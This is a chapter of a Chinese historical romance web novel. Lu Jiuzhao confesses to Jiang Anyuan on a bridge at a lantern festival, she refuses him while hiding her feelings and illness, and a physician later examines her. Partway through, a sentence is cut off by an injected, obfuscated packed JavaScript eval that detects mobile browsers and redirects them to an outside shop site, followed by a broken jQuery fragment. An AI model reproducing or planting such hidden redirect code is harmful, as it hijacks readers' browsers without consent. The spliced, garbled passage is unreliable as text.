蒋安沅一行人行至一拱桥处,陆九昭朝着锦洪使了个眼神,锦洪会意,立即说道:“哎呀,我刚刚买的东西落在了店里,我得赶紧回去拿。”
陆九昭应道:“那你回去吧。”
锦洪又做出一副为难的样子:“公子,那东西有些多,我一个人只怕拿不了。”他望了眼蒋安沅,补充道:“蒋二郎,可否让朝云、月云两位姐姐帮帮忙,陪我一同走一趟?”
蒋安沅不知他肚子里打的什么鬼主意,但还是点了头。
朝云、月云得了话,便同锦洪一道走了,桥上就只剩下陆九昭和蒋安沅两人。
二人就这样并肩而立,没有语言,灯月交错,投下了两人模糊的倒影。
陆九昭微微侧过头,不着痕迹地朝着另一个影子靠近了几分,两个影子之间的距离被拉近,仿佛彼此依偎。
他凝视着倒影,笑意温柔。
“你在看什么?”蒋安沅察觉到他的目光,轻声问道。
“没、没看什么!”陆九昭轻咳了两声,为了掩饰尴尬于是又问起:“你什么时候回京都?”
蒋安沅:“估摸着得三月份去了。”
陆九昭一怔:“三月?”
要是按着以往,三月份的时候他怕是已经出发前往戍地了。
“你能不能早点回来?”
“为何?”
“我、我、我……”陆九昭支支吾吾地说不出来话。
而此时蒋安沅却被夜空中冉冉升空的一盏盏孔明灯吸引。
华灯初上,灯影绰绰如万点繁星,将这一方天地装扮得如梦似幻,流光溢彩映在了她的眼眸之中,仿佛也如星光一般,明亮动人。
陆九昭目光却一直落在蒋安沅身上,看着她开心的模样,他眼底的笑意更深了几分:“你许了什么愿?”
“说出来就不灵了。”
“那去年的愿望呢?”
蒋安沅侧目,眼里带着几分疑惑。
“怎么,去年除夕你没许愿?”
陆九昭见她没有说话,又道:“那么多的孔明灯你不会没看见吧?”他见蒋安沅一脸茫然,更加确信了,小声嘟囔着:“真没看见?不应该呀!”
“你怎么知道?”蒋安沅微微一惊,“去年在府外放灯的人,是你?”
陆九昭没有回答是与否,只低声问道:“喜欢吗?”
蒋安沅愣了一下,不知为何,心跳快了几拍,还好夜风拂面,让她恢复如初,轻声回道:“很美!”
陆九昭闻言不由自主地笑了起来,随后掏出了一个锦盒递给了她,声音温柔却又带着一丝紧张:“这个给你。”
“这是什么?”
“馈岁礼。”
蒋安沅接过锦盒,打开一看,里面竟然是一支翡翠芙蓉花簪。簪身洁白如霜雪,玲珑剔透,簪头的芙蓉花却是红如燕脂,花瓣层层叠叠,纹理和线条细腻入微,宛如天成。
陆九昭小心的打量着蒋安沅,生怕在她流露出不喜之色。
不过还好,看着她面带着笑,应当是喜欢的吧!
“喜欢吗?”
“喜欢。”
“那我呢?你喜欢我吗?”陆九昭直直地望着蒋安沅,目光温柔如水,夹杂着紧张、期许和呼之欲出的爱意。
这一问,让蒋安沅呼吸一滞。
喜欢吗?她问自己。
应当是喜欢的吧!
就在此时,只听“砰”的一声,烟火璀璨,似繁花盛放于墨色苍穹,艳丽绚烂,让人怦然心动。
可终归是刹那芳华!
蒋安沅指尖轻轻地拂过花簪,又紧紧地握了握锦盒,脸上的神情有些复杂,片刻过后还是合上了手中的锦盒,递回给了陆九昭,面上还带着淡淡的笑:“这支发簪很好看,我喜欢,但是,我不能收。”
“为什么?”
“男子赠女子发簪,有结发之意,所以我不能收。”
陆九昭凝视着她,眸中的情绪逐渐浓烈且愈发坚定:“蒋安沅,这就是我的心意!今日赠卿发簪,只为明志,我之心早已为卿所系。”
蒋安沅垂下眼眸,躲闪着他灼热的目光,素手握紧了手心,好让自己有力气说出话来:“多谢陆将军厚爱,可我不能收,还请陆将军莫要再提。”
“陆将军?”陆九昭轻笑一声,“你我之间用得着这么生份吗?”
“陆将军与我本就该如此。”
陆九昭眸中满是不解,怎么突然间她就像变了一个人:“我不明白,为什么?”
“我对陆将军只有朋友之谊,没有男女之情。”
“我不信,我能感觉得到,你是喜欢我的。”陆九昭上前一步,语气里带着几分急切。
“我不知道陆将军为何会有这种错觉,但是我确实对陆将军,没有男女之情。”
陆九昭不可置信的看着她,没有说话。
“我明白了,是不是我来送粮让你误会了?”蒋安沅故作恍然,“我来这儿,只是为了报恩而已。陆家对我蒋家有恩,我来不过是还这份恩情罢了。”
“那这个呢,你送我这个又是什么?”陆九昭抬起左手,露出了手腕间的吉安绳。
蒋安沅望着那抹红色,心头一颤,她闭了闭眼,强忍住心中的情绪,嘴上依旧说着无情的话:“陆将军许是误会了,这不过是讨吉利的玩意儿,陆将军若是想要,外面到处都是。”
陆九昭的心仿佛被什么东西重击了一下,有些生疼,但他还是不信她说的话。
他知道她并非无情,但为何要拒绝得如此决然?
他向前凑近了一些,双手握紧了蒋安沅的肩膀:“你说谎!蒋安沅,你明明对我是有情的,为什么你不肯承认?”
“还请陆将军自重!”蒋安沅挣开了他,“我没有说谎,是你在自欺欺人。”
“我不信,你看着我,你看着我说。”陆九昭并未放弃,他相信自己,也相信她。
蒋安沅强压着心底里的难过,逼自己正视着他,语气十分决绝:“陆九昭,我对你,只有感激,并无其他私情。”
说完便挣开了陆九昭的束缚,然后把手中的木盒放到了他手里,转身就要走。
陆九昭一把拉住了她,任凭她怎么挣扎,他就是不松手。
“你说的都是真的?”陆九昭眼眶微红,声音也有些发颤,“疯丫头,你是不是有什么苦衷?你可以同我说,我们可以一起面对!”
蒋安沅双拳握得发颤,她想转身,她不想再看他,她怕再多看一眼,她就没那个决心了,可陆九昭哪肯放她走,蒋安沅只得咬了咬唇,一脸认真地说道:“陆九昭,我从未喜欢过你。没有什么苦衷,你总不能强人所难吧!”
陆九昭只觉耳边嗡鸣作响,那一句“我从未喜欢过你”在他脑海中不断回荡,字字如刀,刺得他生疼。他缓缓松开了她的手婉,像失了魂一般,呆呆地望着蒋安沅离去的背影,双眼含情逐渐被落寞和苦涩替代,他想叫住她,可是确怎么也开不了口。
蒋安沅眼含着泪走在人群当中,正碰上了回来的朝云、月云和锦洪,蒋安沅没理他们,勿自地向前走着。
两丫鬟见状赶紧追了上去。
锦洪见这情形,大概知道了结果,站在原地叹了声气,然后便转头去寻陆九昭了。
一回到住处,蒋安沅就把自己关在房间里。
朝云见她伤心难过,担心地在门外说着宽慰的话,月云叹了叹,同朝云说道:“让姑娘自己呆会吧。”说罢拉着她离开了。
蒋安沅跌坐在地,将头埋在臂弯里,蜷缩成一团,泪珠止不住地坠落。
她本以为自己能够平静地和他渐行渐远,可当她对着那双满含爱意的眼眸说着违心的话时,心中的痛却如野草般疯长。
她抽泣着,缓缓从怀里掏出了一个小瓷瓶,望了许久,然后将它狠狠地摔了出去,里面豆大的凝泉丹撒了一地。
她恨、她厌恶!
她望着那一地的凝泉丹哭得越发伤心。
良久,她慢慢平静下来,抹了抹泪,缓缓起身,捡起了药瓶,又将一粒粒药丸拾起,装进了瓶子里。
她望着手中的小瓷瓶,早已哭红的眼眸中已没了光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262269|141824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亮,良久,又将小瓷瓶放进了怀里,好似认命一般。
再说陆九昭,和锦洪一道不知喝了多少酒,也不知何时回的宅子,然后也不回自己的东院,就在西院外瘫坐着,呆呆地望着蒋安沅住的屋子,嘴里也不知嘟囔着什么。
锦洪怕他酒劲儿一上来,再做了什么事惹蒋安沅不悦,索性就扛着他回了屋,等到他再醒来的时候已是次日午时。
陆九昭坐起身来,只觉得喉咙干涩,头痛欲裂,还好这时锦洪端了醒酒汤进来。
他端起碗来咕咚咕咚地喝了几大口,见锦洪一直盯着自己,说道:“你这么看着我干嘛?”
锦洪长叹一声:“哎,怎一个愁字了得!”
陆九昭扬起手中的汤碗作势便要砸过去,吓得锦洪直求饶。
不知怎的,这醒酒汤陆九昭是越喝越觉得苦涩,所以没喝完就穿着衣服出门了。
刚出院子,正巧蒋安沅也从西院出来,两人正好打了个照面。
蒋安沅不由得脚下一滞,垂下了微红的双眼,没有看他。
而陆九昭却立即退了回去,躲在墙后,呆了不过几秒,许是觉得这样做有些丢人,随即又大步走了出来,装作若无其事的样子,还咧开嘴朝着蒋安沅笑:“早啊!”
身后的锦洪扶额,心道:“这都大中午了,早什么早。”所以只在一旁尴尬地笑着。
蒋安沅愣了愣,也笑着朝他点了点头,然后便径直往前走了。
陆九昭见状也跟了上去,同她并排走着。
蒋安沅以为他有什么话要说,便停了下来,等他开口。
陆九昭见状清了清嗓子:“这么看着我干嘛,这路又不是你家的。”
蒋安沅闻言便勿自向前走去,谁知耳畔又响起了陆九昭的声音。
“不是说要去锦城吗,什么时候启程?”
“明日。”
“我军中尚有些事,走不开,让锦洪护送你一程。”
蒋安沅又停了脚步,淡淡地回道:“我有护卫相送,不用麻烦了。”
谁知陆九昭却冲着她皮笑肉不笑地说道:“我就要!”说完也不看蒋安沅什么反应,提腿就往前走。
身后的锦洪尴尬地赔着笑,快步追了上去。
蒋安沅怔愣在原地,无奈地笑了笑,然后便来到了医所,可蒋安沅环看了一圈也没见杜茹英的身影。
刘允诚知她来意,便道:“杜娘子去城西买东西去了,才出门,二郎不如坐会儿等她回来。”
蒋安沅闻言便在院中坐了下来,而刘允诚也坐到了她身边,蒋安沅朝他颔首微笑。
“可记得在下为蒋公子开过一剂方子?”刘允诚声音柔和,语调轻缓,有种让人莫名的亲切。
“记得,那方子连我姨母看了也不免心服,也多亏了刘大夫的药,这一年来我的心疾好了许多。”
听蒋安沅说杜茹英夸他的方子,他怎么有些不信呢,不过只是笑笑,只当蒋安沅在恭维他。
“可否让在下为蒋公子把脉?”
蒋安沅伸出手来,柔声道:“有劳刘大夫。”
刘允诚把着脉,面上没有什么其它异样,只是号脉的手指轻轻地动了一下,良久才收回。
蒋安沅静静地望着他,神色有些紧张,身后的朝云、月云亦是如些。
“蒋公子不必担心,相较之前,病情已轻了不少。”刘允诚还是之前的语调,让人分不出真假,然后从袖中拿出一个药瓶。
“自上回为蒋公子把过脉后,陆九昭那小子便一直让我为公子配药,所以有空之余便为蒋公子制了些丹药,若蒋公子信得过在下,便日常服用,这是药方,”说着又掏出一张方子递给了蒋安沅,“若是蒋公子觉得有用,让杜娘子研制即可。”
蒋安沅接过药瓶和方子,起身向刘允诚作了一揖:“多谢刘大夫。”
刘允诚轻叹了一声,语气依旧温和:“蒋公子,人生百病,亦有百药可医,唯心疾药石无用,然却有一味良药,心随己意心自医。”
蒋安沅默了一会儿,随即又施一礼:“安沅受教!”